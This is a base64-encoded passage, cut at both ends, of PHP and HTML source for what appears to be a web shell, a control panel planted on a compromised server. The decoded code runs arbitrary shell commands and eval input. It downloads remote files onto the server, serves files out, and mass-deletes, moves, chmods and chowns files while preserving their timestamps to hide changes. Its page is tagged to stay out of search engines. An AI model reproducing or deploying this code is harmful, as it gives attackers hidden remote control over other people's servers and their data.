nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJG5ld2ZpbGUpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIjwvYT4mbmJzcDsoIDEwMCUgKSI7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyB9IGVsc2VpZigkcFsndWxUeXBlJ109PSd1cmwnKXsgJHVsRmlsZSA9IHRyaW0oJHBbJ3VsRmlsZSddKTsgaWYoZW1wdHkoJHVsRmlsZW5hbWUpKSAkdWxGaWxlbmFtZSA9IGJhc2VuYW1lKCR1bEZpbGUpOyBpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7ICRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOyBpZihkb3dubG9hZCgkdWxGaWxlLCAkbmV3ZmlsZSkpeyAkcmVzID0gIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIicgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnPiIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iPC9hPiZuYnNwOyggMTAwJSApIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2Rvd25sb2FkJ10pKXsgJGZpbGUgPSB0cmltKCRwWydkb3dubG9hZCddKTsgaWYoaXNfZmlsZSgkZmlsZSkpeyBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IGhlYWRlcignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5Jyk7IGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOyBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJGZpbGUpLiJcIjsiKTsgJGhhbmRsZXIgPSBmb3BlbigkZmlsZSwicmIiKTsgd2hpbGUoIWZlb2YoJGhhbmRsZXIpKXsgcHJpbnQoZnJlYWQoJGhhbmRsZXIsIDEwMjQqOCkpOyBAb2JfZmx1c2goKTsgQGZsdXNoKCk7IH0gZmNsb3NlKCRoYW5kbGVyKTsgZGllKCk7IH0KfQplbHNlaWYoaXNzZXQoJHBbJ211bHRpbWVkaWEnXSkpeyAkZmlsZSA9IHRyaW0oJHBbJ211bHRpbWVkaWEnXSk7ICRtaW1lX2xpc3QgPSBnZXRfcmVzb3VyY2UoJ21pbWUnKTsgJG1pbWUgPSAiIjsgJGZpbGVfZXh0X3BvcyA9IHN0cnJwb3MoJGZpbGUsICIuIik7IGlmKCRmaWxlX2V4dF9wb3MhPT1mYWxzZSl7ICRmaWxlX2V4dCA9IHRyaW0oc3Vic3RyKCRmaWxlLCAkZmlsZV9leHRfcG9zKSwiLiIpOyBpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpeyAkbWltZSA9ICRyZXNbMV07IH0gfSBpZihpc19maWxlKCRmaWxlKSl7IGhlYWRlcigiQ29udGVudC1UeXBlOiAiLiRtaW1lKTsgaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZmlsZSkpOyBlY2hvICJkYXRhOiIuJG1pbWUuIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpOyBkaWUoKTsgfQp9CmVsc2VpZihpc3NldCgkcFsnbWFzc1R5cGUnXSkmJmlzc2V0KCRwWydtYXNzQnVmZmVyJ10pJiZpc3NldCgkcFsnbWFzc1BhdGgnXSkmJmlzc2V0KCRwWydtYXNzVmFsdWUnXSkpeyAkbWFzc1R5cGUgPSB0cmltKCRwWydtYXNzVHlwZSddKTsgJG1hc3NCdWZmZXIgPSB0cmltKCRwWydtYXNzQnVmZmVyJ10pOyAkbWFzc1BhdGggPSByZWFscGF0aCgkcFsnbWFzc1BhdGgnXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJG1hc3NWYWx1ZSA9IHRyaW0oJHBbJ21hc3NWYWx1ZSddKTsgJGNvdW50ZXIgPSAwOyAkbWFzc0J1ZmZlckFyciA9IGV4cGxvZGUoIlxuIiwgJG1hc3NCdWZmZXIpOyBpZigoJG1hc3NUeXBlPT0ndGFyJyl8fCgkbWFzc1R5cGU9PSd0YXJneicpfHwoJG1hc3NUeXBlPT0nemlwJykpeyBpZihjb21wcmVzcygkbWFzc1R5cGUsICRtYXNzVmFsdWUsICRtYXNzQnVmZmVyQXJyKSl7ICRjb3VudGVyKys7IHJldHVybiAkY291bnRlcjsgfSB9IGVsc2V7IGZvcmVhY2goJG1hc3NCdWZmZXJBcnIgYXMgJGspeyAkcGF0aCA9IHRyaW0oJGspOyBpZihmaWxlX2V4aXN0cygkcGF0aCkpeyAkcHJlc2VydmVUaW1lc3RhbXAgPSBmaWxlbXRpbWUoJHBhdGgpOyBpZigkbWFzc1R5cGU9PSdkZWxldGUnKXsgaWYoaXNfZmlsZSgkcGF0aCkpeyBpZih1bmxpbmsoJHBhdGgpKSAkY291bnRlcisrOyB9IGVsc2VpZihpc19kaXIoJHBhdGgpKXsgaWYocm1kaXJzKCRwYXRoKT4wKSAkY291bnRlcisrOyB9IH0gZWxzZWlmKCRtYXNzVHlwZT09J2N1dCcpeyAkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7IGlmKHJlbmFtZSgkcGF0aCwgJGRlc3QpKXsgJGNvdW50ZXIrKzsgdG91Y2goJGRlc3QsICRwcmVzZXJ2ZVRpbWVzdGFtcCk7IH0gfSBlbHNlaWYoJG1hc3NUeXBlPT0nY29weScpeyAkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7IGlmKGlzX2RpcigkcGF0aCkpeyBpZihjb3B5cygkcGF0aCwgJGRlc3QpPjApICRjb3VudGVyKys7IH0gZWxzZWlmKGlzX2ZpbGUoJHBhdGgpKXsgaWYoY29weSgkcGF0aCwgJGRlc3QpKSAkY291bnRlcisrOyB9IH0gZWxzZWlmKCgkbWFzc1R5cGU9PSd1bnRhcicpfHwoJG1hc3NUeXBlPT0ndW50YXJneicpfHwoJG1hc3NUeXBlPT0ndW56aXAnKSl7IGlmKGRlY29tcHJlc3MoJG1hc3NUeXBlLCAkcGF0aCwgJG1hc3NWYWx1ZSkpeyAkY291bnRlcisrOyByZXR1cm4gJGNvdW50ZXI7IH0gfSBlbHNlaWYoIWVtcHR5KCRtYXNzVmFsdWUpKXsgaWYoJG1hc3NUeXBlPT0nY2htb2QnKXsgaWYoY2htb2QoJHBhdGgsIG9jdGRlYygkbWFzc1ZhbHVlKSkpICRjb3VudGVyKys7IH0gZWxzZWlmKCRtYXNzVHlwZT09J2Nob3duJyl7IGlmKGNob3duKCRwYXRoLCAkbWFzc1ZhbHVlKSkgJGNvdW50ZXIrKzsgfSBlbHNlaWYoJG1hc3NUeXBlPT0ndG91Y2gnKXsgaWYodG91Y2goJHBhdGgsIHN0cnRvdGltZSgkbWFzc1ZhbHVlKSkpICRjb3VudGVyKys7IH0gfSB9IH0gfSBpZigkY291bnRlcj4wKSBvdXRwdXQoJGNvdW50ZXIpOyBvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd2aWV3RmlsZW9yRm9sZGVyJ10pKXsgJGVudHJ5ID0gJHBbJ3ZpZXdGaWxlb3JGb2xkZXInXTsgaWYoaXNfZmlsZSgkZW50cnkpKSBvdXRwdXQoJ2ZpbGUnKTsgZWxzZWlmKGlzX2RpcigkZW50cnkpKSBvdXRwdXQoJ2ZvbGRlcicpOyBvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd0ZXJtaW5hbElucHV0J10pKXsgb3V0cHV0KGh0bWxfc2FmZShleGVjdXRlKCRwWyd0ZXJtaW5hbElucHV0J10pKSk7Cn0KZWxzZWlmKGlzc2V0KCRwWydldmFsSW5wdXQnXSkgJiYgaXNzZXQoJHBbJ2V2YWxUeXBlJ10pKXsgJGV2YWxJbnB1dCA9ICRwWydldmFsSW5wdXQnXTsgJGV2YWxPcHRpb25zID0gKGlzc2V0KCRwWydldmFsT3B0aW9ucyddKSk/ICRwWydldmFsT3B0aW9ucyddOiIiOyAkZXZhbEFyZ3VtZW50cyA9IChpc3NldCgkcFsnZXZhbEFyZ3VtZW50cyddKSk/ICRwWydldmFsQXJndW1lbnRzJ106IiI7ICRldmFsVHlwZSA9ICRwWydldmFsVHlwZSddOyBlcnJvcl9yZXBvcnRpbmcoRV9FUlJPUiB8IEVfV0FSTklORyB8IEVfUEFSU0UgfCBFX05PVElDRSk7IEBpbmlfc2V0KCdodG1sX2Vycm9ycycsJzAnKTsgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnMScpOyBAaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsJzEnKTsgJHJlcyA9IGV2YWxfZ28oJGV2YWxUeXBlLCAkZXZhbElucHV0LCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKTsgaWYoJHJlcz09PWZhbHNlKSAkcmVzID09ICJlcnJvciI7IG91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbEdldFN1cHBvcnRlZCddKSl7ICRyZXMgPSBldmFsX2dldF9zdXBwb3J0ZWQoKTsgb3V0cHV0KCRyZXMpOwp9CiRlcnJvciA9IEBvYl9nZXRfY29udGVudHMoKTsKJGVycm9yX2h0bWwgPSAoIWVtcHR5KCRlcnJvcikpPyI8cHJlIGNsYXNzPSdwaHBFcnJvciBib3JkZXInPiIuc3RyX3JlcGxhY2UoIlxuXG4iLCAiXG4iLCBodG1sX3NhZmUoJGVycm9yKSkuIjwvcHJlPiI6IiI7CkBvYl9lbmRfY2xlYW4oKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7Pz4KPCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gJEdMT0JBTFNbJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWyd2ZXInXTs/PjwvdGl0bGU+CjxtZXRhIGNoYXJzZXQ9J3V0Zi04Jz4KPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpAZm9udC1mYWNlIHsKZm9udC13ZWlnaHQ6IG5vcm1hbDsKZm9udC1zdHlsZTogbm9ybWFsO30qewpmb250LWZhbWlseTp1YnVudHVtb25vOwptYXJnaW46MDsKcGFkZGluZzowOwpib3JkZXI6MDsKLXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7Ci1tb3otYm94LXNpemluZzpib3JkZXItYm94Owpib3gtc2l6aW5nOmJvcmRlci1ib3g7CmZvbnQtc2l6ZToxMnB4Owpmb250LXdlaWdodDpub3JtYWw7fWlucHV0OmZvY3VzLCBzZWxlY3Q6Zm9jdXMsIHRleHRhcmVhOmZvY3VzLCBidXR0b246Zm9jdXN7Cm91dGxpbmU6bm9uZTt9aHRtbCwgYm9keXsKd2lkdGg6MTAwJTsKaGVpZ2h0OjEwMCU7CmNvbG9yOiMzMzMzMzM7fWJvZHl7CmJhY2tncm91bmQ6I2ZmZmZmZjt9YXsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7CmNvbG9yOiMyMjIyMjI7fWE6aG92ZXJ7CmN1cnNvcjpwb2ludGVyO31wewpwYWRkaW5nOjhweCAwO31pbWd7CnZlcnRpY2FsLWFsaWduOm1pZGRsZTt9dGFibGV7CndpZHRoOjEwMCU7fXRhYmxlIHRkLCB0YWJsZSB0aHsKdmVydGljYWwtYWxpZ246bWlkZGxlOwpwYWRkaW5nOjhweDt9dGV4dGFyZWEsIGlucHV0LCBzZWxlY3R7CmJhY2tncm91bmQ6I2Q4ZGVlYTsKcGFkZGluZzo4cHg7CmJvcmRlci1yYWRpdXM6OHB4Owpjb2xvcjojM2I1OTk4O310ZXh0YXJlYXsKcmVzaXplOnZlcnRpY2FsOwp3aWR0aDoxMDAlOwpoZWlnaHQ6MzAwcHg7Cm1pbi1oZWlnaHQ6MzAwcHg7Cm1heC13aWR0aDoxMDAlOwptaW4td2lkdGg6MTAwJTt9aHJ7Cm1hcmdpbjo4cHggMDsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNlMGUwZjA7fXZpZGVvewp3aWR0aDo1MCU7CmJhY2tncm91bmQ6I2UwZTBmMDsKYm9yZGVyLXJhZGl1czo4cHg7fWgxLCBoMnsKYmFja2dyb3VuZDojZTBlMGYwOwpib3JkZXItcmFkaXVzOjhweDsKdGV4dC1hbGlnbjpjZW50ZXI7CnBhZGRpbmc6OHB4OwptYXJnaW4tYm90dG9tOjhweDt9cHJlLCAjdmlld0ZpbGVjb250ZW50ewp3b3JkLWJyZWFrOmJyZWFrLWFsbDsKd29yZC13cmFwOmJyZWFrLXdvcmQ7fXByZXsKd2hpdGUtc3BhY2U6cHJlLXdyYXA7fSNudWxsc3sKY3Vyc29yOnBvaW50ZXI7fSNoZWFkZXJ7CndpZHRoOjEwMCU7CnBvc2l0aW9uOmZpeGVkO30jaGVhZGVyTmF2ewpwYWRkaW5nOjEwcHggOHB4IDZweCA4cHg7CmJhY2tncm91bmQ6IzQ3NjQ5ZTt9I2hlYWRlck5hdiBhewpjb2xvcjojREVFNUY1O30jaGVhZGVyTmF2IGltZ3sKbWFyZ2luOjAgNHB4O30jbWVudXsKYmFja2dyb3VuZDojZDhkZWVhOwpoZWlnaHQ6MjZweDt9I21lbnUgLm1lbnVpdGVtewpwYWRkaW5nOjdweCAxMnB4IDZweCAxMnB4OwpmbG9hdDpsZWZ0OwpoZWlnaHQ6MjZweDsKYmFja2dyb3VuZDojZDhkZWVhOwpjb2xvcjojM2I1OTk4OwpjdXJzb3I6cG9pbnRlcjsKdGV4dC1zaGFkb3c6MXB4IDFweCAxcHggI2NjY2NjYzt9I21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKYmFja2dyb3VuZDojZmZmZmZmOwpjb2xvcjojMjIyMjIyOwpib3JkZXItcmFkaXVzOjhweCA4cHggMCAwO30jbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKYmFja2dyb3VuZDojZmZmZmZmO30jYmFzaWNJbmZvewp3aWR0aDoxMDAlOwpwYWRkaW5nOjhweDsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2UwZTBmMDt9I2NvbnRlbnR7CndpZHRoOjEwMCU7CmhlaWdodDoxMDAlOwpwYWRkaW5nOjYycHggNHB4IDEwcHggNHB4O30jY29udGVudCAubWVudWNvbnRlbnR7CmNsZWFyOmJvdGg7CmRpc3BsYXk6bm9uZTsKcGFkZGluZzo4cHg7fSNvdmVybGF5ewpwb3NpdGlvbjpmaXhlZDsKdG9wOjBweDsKbGVmdDowcHg7CndpZHRoOjEwMCU7CmhlaWdodDoxMDAlOwpkaXNwbGF5Om5vbmU7fSNsb2FkaW5newp3aWR0aDo2NHB4OwpoZWlnaHQ6NjRweDsKYmFja2dyb3VuZDojMDAwMDAwOwpib3JkZXItcmFkaXVzOjMycHggMCAzMnB4IDA7Cm1hcmdpbjphdXRvOwp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CmJveC1zaGFkb3c6MCAwIDE2cHggIzAwMDt9I3VsRHJhZ05Ecm9wewpwYWRkaW5nOjMycHggMDsKdGV4dC1hbGlnbjpjZW50ZXI7CmJhY2tncm91bmQ6I2UwZTBmMDsKYm9yZGVyLXJhZGl1czo4cHg7fSNmb3JtewpkaXNwbGF5Om5vbmU7fS5ib3h7Cm1pbi13aWR0aDo1MCU7CmJvcmRlcjoxcHggc29saWQgI2UwZTBmMDsKcGFkZGluZzo4cHggOHB4IDAgOHB4Owpib3JkZXItcmFkaXVzOjhweDsKcG9zaXRpb246Zml4ZWQ7CmJhY2tncm91bmQ6I2ZmZmZmZjsKb3BhY2l0eToxOwpib3gtc2hhZG93OjFweCAxcHggMjVweCAjMTUwZjBmOwpvcGFjaXR5OjAuOTg7fS5ib3h0aXRsZXsKYmFja2dyb3VuZDojM2I1OTk4Owpjb2xvcjojREVFNUY1Owpib3JkZXItcmFkaXVzOjhweDsKdGV4dC1hbGlnbjpjZW50ZXI7CmN1cnNvcjpwb2ludGVyOwp0ZXh0LXNoYWRvdzoxcHggMXB4IDFweCAjMzMzMzMzO30uYm94dGl0bGUgYSwgLmJveHRpdGxlIGE6aG92ZXJ7CmNvbG9yOiNERUU1RjU7CnRleHQtc2hhZG93OjFweCAxcHggMXB4ICMzMzMzMzM7fS5ib3hjb250ZW50ewpwYWRkaW5nOjJweCAwIDJweCAwO30uYm94cmVzdWx0ewpwYWRkaW5nOjRweCAxMHB4IDZweCAxMHB4Owpib3JkZXItdG9wOjFweCBzb2xpZCAjZTBlMGYwOwptYXJnaW4tdG9wOjRweDsKdGV4dC1hbGlnbjpjZW50ZXI7fS5ib3h0Ymx7CmJvcmRlcjoxcHggc29saWQgI2UwZTBmMDsKYm9yZGVyLXJhZGl1czo4cHg7CnBhZGRpbmctYm90dG9tOjhweDt9LmJveHRibCB0ZHsKdmVydGljYWwtYWxpZ246bWlkZGxlOwpwYWRkaW5nOjhweCAxNXB4Owpib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2UwZTBmMDt9LmJveHRibCBpbnB1dCwgLmJveHRibCBzZWxlY3QsIC5ib3h0YmwgLmJ1dHRvbnsKd2lkdGg6MTAwJTt9LmJveGxhYmVsewp0ZXh0LWFsaWduOiBjZW50ZXI7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICNlMGUwZjA7CnBhZGRpbmctYm90dG9tOjhweDt9LmJveGNsb3Nlewpib3JkZXI6MXB4IHNvbGlkICM4Qzk4QjQ7CmJvcmRlci1yYWRpdXM6M3B4OwptYXJnaW4tcmlnaHQ6OHB4OwptYXJnaW4tdG9wOi0ycHg7CnBhZGRpbmc6MnB4IDhweDsKY3Vyc29yOnBvaW50ZXI7fS5zdHJvbmd7CmNvbG9yOiMzYjU5OTg7fS53ZWFrewpjb2xvcjojMjIyMjIyO30uYnV0dG9uewptaW4td2lkdGg6MTIwcHg7CndpZHRoOjEyMHB4OwptYXJnaW46MnB4IDA7CnBhZGRpbmc6OHB4OwpiYWNrZ3JvdW5kOiNkOGRlZWE7CmNvbG9yOiMzYjU5OTg7CmJvcmRlci1yYWRpdXM6OHB4OwpkaXNwbGF5OmJsb2NrOwp0ZXh0LWFsaWduOmNlbnRlcjsKZmxvYXQ6bGVmdDsKY3Vyc29yOnBvaW50ZXI7fS5idXR0b246aG92ZXIsICN1bERyYWdORHJvcDpob3ZlcnsKYm94LXNoYWRvdzoxcHggMXB4IDVweCAjZmZmZmZmOwpiYWNrZ3JvdW5kOiM0NzY0OWU7CmNvbG9yOiNERUU1RjU7fS5mbG9hdExlZnR7CmZsb2F0OmxlZnQ7fS5mbG9hdFJpZ2h0ewpmbG9hdDpyaWdodDt9LmNvbEZpdHsKd2lkdGg6MXB4Owp3aGl0ZS1zcGFjZTpub3dyYXA7fS5jb2xTcGFuewp3aWR0aDoxMDAlO30uYm9yZGVyewpib3JkZXI6MXB4IHNvbGlkICNlMGUwZjA7CmJvcmRlci1yYWRpdXM6OHB4OwpwYWRkaW5nOjhweDt9LmJvcmRlcmJvdHRvbXsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNlMGUwZjA7fS5ib3JkZXJyaWdodHsKYm9yZGVyLXJpZ2h0OjFweCBkYXNoZWQgI2UwZTBmMDt9LmJvcmRlcmxlZnR7CmJvcmRlci1sZWZ0OjFweCBkYXNoZWQgI2UwZTBmMDt9LmhyIHRkewpib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2UwZTBmMDt9LmNCb3gsIC5jQm94QWxsewp3aWR0aDoxMHB4OwpoZWlnaHQ6MTBweDsKYm9yZGVyOjFweCBzb2xpZCAjM2I1OTk4Owpib3JkZXItcmFkaXVzOjVweDsKbWFyZ2luOmF1dG87CmZsb2F0OmxlZnQ7Cm1hcmdpbjoycHggNnB4OwpjdXJzb3I6cG9pbnRlcjt9LmNCb3hTZWxlY3RlZHsKYmFja2dyb3VuZDojM2I1OTk4O30uYWN0aW9uLCAuYWN0aW9uZm9sZGVyLCAuYWN0aW9uZG90ewpjdXJzb3I6cG9pbnRlcjt9LnBocEVycm9yewpwYWRkaW5nOjhweDsKbWFyZ2luOjhweCAwOwp0ZXh0LWFsaWduOmNlbnRlcjt9LmRhdGFWaWV3IHRkLCAuZGF0YVZpZXcgdGgsICN2aWV3RmlsZSB0ZHsKdmVydGljYWwtYWxpZ246dG9wOwp0ZXh0LWFsaWduOmNlbnRlcjsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNlMGUwZjA7fS5kYXRhVmlldyB0aHsKYm9yZGVyLWJvdHRvbTpub25lO30uZGF0YVZpZXcgdGJvZHkgdHI6aG92ZXJ7CmJhY2tncm91bmQ6I2Q4ZGVlYTt9LmRhdGFWaWV3IHRoewpiYWNrZ3JvdW5kOiNkOGRlZWE7CnZlcnRpY2FsLWFsaWduOm1pZGRsZTt9LmRhdGFWaWV3IHRmb290IHRkewp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fS5kYXRhVmlldyAuY29sLWNib3h7CndpZHRoOjIwcHg7fS5kYXRhVmlldyAuY29sLW5hbWUsIC5kYXRhVmlldyB0cj50ZDpudGgtY2hpbGQoMil7CnRleHQtYWxpZ246bGVmdDt9LmRhdGFWaWV3IC5jb2wtc2l6ZSwgLmRhdGFWaWV3IHRyPnRkOm50aC1jaGlsZCgzKXsKd2lkdGg6NzBweDsKdGV4dC1hbGlnbjpsZWZ0O30uZGF0YVZpZXcgLmNvbC1vd25lcnsKd2lkdGg6MTQwcHg7Cm1pbi13aWR0aDoxNDBweDt9LmRhdGFWaWV3IC5jb2wtcGVybXN7CndpZHRoOjgwcHg7fS5kYXRhVmlldyAuY29sLW1vZGlmaWVkewp3aWR0aDoxNTBweDt9LnNvcnRhYmxlIHRoewpjdXJzb3I6cG9pbnRlcjt9I3ZpZXdGaWxlIHRkewp0ZXh0LWFsaWduOmxlZnQ7fSN2aWV3RmlsZWNvbnRlbnR7CnBhZGRpbmc6OHB4Owpib3JkZXI6MXB4IHNvbGlkICNlMGUwZjA7CmJvcmRlci1yYWRpdXM6OHB4O30jdGVybWluYWxQcm9tcHQgdGR7CnBhZGRpbmc6MDt9I3Rlcm1pbmFsSW5wdXR7CmJhY2tncm91bmQ6bm9uZTsKcGFkZGluZzowOwp3aWR0aDoxMDAlO30jZXZhbEFkZGl0aW9uYWx7CmRpc3BsYXk6bm9uZTt9LmhsX2RlZmF1bHR7CmNvbG9yOiM0MDg0OTQ7fS5obF9rZXl3b3Jkewpjb2xvcjojQ0E2QjEzO30uaGxfc3RyaW5newpjb2xvcjojMUYxNTA2O30uaGxfaHRtbHsKY29sb3I6IzIyMjIyMjt9LmhsX2NvbW1lbnR7CmNvbG9yOiNGRjcwMDA7fSNuYXZpZ2F0aW9ue3Bvc2l0aW9uOmZpeGVkO2xlZnQ6LTE2cHg7dG9wOjQ2JTt9I3RvdG9wLCN0b2JvdHRvbSwjdG9nZ2xlQmFzaWNJbmZve2JhY2tncm91bmQ6dXJsKCc8P3BocCBlY2hvIGdldF9yZXNvdXJjZSgnYXJyb3cnKTs/PicpO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7b3BhY2l0eTowLjMwO21hcmdpbjoxOHB4IDA7Y3Vyc29yOnBvaW50ZXI7fSN0b3RvcDpob3ZlciwjdG9ib3R0b206aG92ZXJ7b3BhY2l0eTowLjgwO30jdG9nZ2xlQmFzaWNJbmZve2Rpc3BsYXk6bm9uZTtmbG9hdDpyaWdodDttYXJnaW46MDt9I2Jhc2ljSW5mb1NwbGl0dGVye2Rpc3BsYXk6bm9uZTt9I3RvYm90dG9tey13ZWJraXQtdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW1vei10cmFuc2Zvcm06c2NhbGVZKC0xKTstby10cmFuc2Zvcm06c2NhbGVZKC0xKTt0cmFuc2Zvcm06c2NhbGVZKC0xKTtmaWx0ZXI6RmxpcFY7LW1zLWZpbHRlcjoiRmxpcFYiO30jc2hvd2luZm97ZmxvYXQ6cmlnaHQ7ZGlzcGxheTpub25lO30jbG9nb3V0e2Zsb2F0OnJpZ2h0O30uZ2l0X2FsZXJ0e2ZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjojZWY3OTNlOyBmb250LXNpemU6IDE2cHg7fTwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjwhLS13cmFwcGVyIHN0YXJ0LS0+CjxkaXYgaWQ9J3dyYXBwZXInPgo8IS0taGVhZGVyIHN0YXJ0LS0+CjxkaXYgaWQ9J2hlYWRlcic+CjwhLS1oZWFkZXIgaW5mbyBzdGFydC0tPgo8ZGl2IGlkPSdoZWFkZXJOYXYnPgo8c3Bhbj48YSBvbmNsaWNrPSJzZXRfY29va2llKCdjd2QnLCAnJyk7IiBocmVmPSc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+Jz48P3BocCBlY2hvICRHTE9CQUxTWyd0aXRsZSddLiIgIi4kR0xPQkFMU1sndmVyJ10/PjwvYT48L3NwYW4+CjxpbWcgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcigpOycgaWQ9J251bGxzJyBzcmM9Jzw/cGhwIGVjaG8gZ2V0X3Jlc291cmNlKCdudWxscycpOz8+JyAvPiZuYnNwOzxzcGFuIGlkPSduYXYnPjw/cGhwIGVjaG8gJG5hdjsgPz48L3NwYW4+PGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nbG9nb3V0JyB0aXRsZT0nbG9nIG91dCc+eDwvYT4KPGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nc2hvd2luZm8nIHRpdGxlPSdzaG93IGluZm8nPnY8L2E+CjwvZGl2Pgo8IS0taGVhZGVyIGluZm8gZW5kLS0+PCEtLW1lbnUgc3RhcnQtLT4KPGRpdiBpZD0nbWVudSc+Cjw/cGhwCmZvcmVhY2goJEdMT0JBTFNbJ20nXSBhcyAkayl7CmVjaG8gIjxhIGNsYXNzPSdtZW51aXRlbScgaWQ9J21lbnUiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIicgaHJlZj0nIyEiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIic+Ii4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWyd0aXRsZSddLiI8L2E+Ijt9Pz4KPC9kaXY+CjwhLS1tZW51IGVuZC0tPjwvZGl2Pgo8IS0taGVhZGVyIGVuZC0tPjwhLS1jb250ZW50IHN0YXJ0LS0+CjxkaXYgaWQ9J2NvbnRlbnQnPgo8IS0tc2VydmVyIGluZm8gc3RhcnQtLT4KPGRpdiBpZD0nYmFzaWNJbmZvJz4KPGRpdiBpZD0ndG9nZ2xlQmFzaWNJbmZvJz48L2Rpdj4KPD9waHAKZWNobyAkZXJyb3JfaHRtbDsKZm9yZWFjaChnZXRfc2VydmVyX2luZm8oKSBhcyAkaz0+JHYpCnsKZWNobyAiPGRpdj4iLiR2LiI8L2Rpdj4iOwp9Cj8+CjwvZGl2Pgo8IS0tc2VydmVyIGluZm8gZW5kLS0+PD9waHAKZm9yZWFjaCgkR0xPQkFMU1snbSddIGFzICRrKXsKJGNvbnRlbnQgPSAkR0xPQkFMU1snbW9kdWxlJ11bJGtdWydjb250ZW50J107CmVjaG8gIjxkaXYgY2xhc3M9J21lbnVjb250ZW50JyBpZD0nIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJGNvbnRlbnQuIjwvZGl2PiI7fT8+CjwvZGl2Pgo8IS0tY29udGVudCBlbmQtLT48L2Rpdj4KPCEtLXdyYXBwZXIgZW5kLS0+CjxkaXYgaWQ9J25hdmlnYXRpb24nPgo8ZGl2IGlkPSd0b3RvcCc+PC9kaXY+CjxkaXYgaWQ9J3RvYm90dG9tJz48L2Rpdj4KPC9kaXY+Cjx0YWJsZSBpZD0ib3ZlcmxheSI+PHRyPjx0ZD48ZGl2IGlkPSJsb2Fk